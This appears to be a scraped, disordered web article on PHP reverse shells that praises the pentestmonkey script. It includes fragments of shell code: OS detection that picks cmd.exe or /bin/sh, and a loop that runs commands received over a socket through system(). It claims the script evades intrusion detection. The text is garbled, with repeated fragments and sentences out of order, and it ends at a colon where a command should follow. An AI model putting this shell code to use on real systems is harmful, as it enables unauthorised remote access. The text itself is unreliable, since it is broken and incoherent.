:
Use curl or your browser:
if (stristr(PHP_OS, 'WIN')) $shell = 'cmd.exe'; else $shell = '/bin/sh'; Reverse Shell Php
The most well‑known implementation comes from pentestmonkey, a widely respected resource in the security community. This script is minimalist—weighing only a few kilobytes—and requires no complex setup beyond changing the IP address and port number in the configuration section. It offers cross‑platform compatibility, automatically detecting the underlying operating system and invoking /bin/sh on Linux/macOS and cmd.exe on Windows. The script supports both Netcat and Metasploit's multi/handler, and has been tested on PHP versions ranging from 4.3.0 to 7.4.10. Its minimalistic nature also helps it remain undetected by intrusion detection systems that focus on more complex payload signatures.
elseif (function_exists('system')) while ($cmd = fgets($sock)) ob_start(); system($cmd); fwrite($sock, ob_get_clean() . "\n"); : Use curl or your browser: if (stristr(PHP_OS,
: The script redirects the shell's standard input (stdin), output (stdout), and error (stderr) to the established TCP connection. 2. Common Implementation Scenarios
In a standard client-server architecture, the client connects directly to the server. However, in an offensive security or remote troubleshooting scenario, firewall configurations often block incoming connections to the server while allowing unrestricted outbound traffic. "\n"); : The script redirects the shell's standard
A reverse shell is a fundamental technique used in penetration testing and security auditing to gain remote access to a target system. Unlike a standard bind shell—where the target system opens a port and waits for an incoming connection—a reverse shell forces the target system to initiate an outbound connection back to the attacker's machine.
For situations where uploading a full script file is impractical, attackers can execute a reverse shell directly from the command line using PHP's -r option:
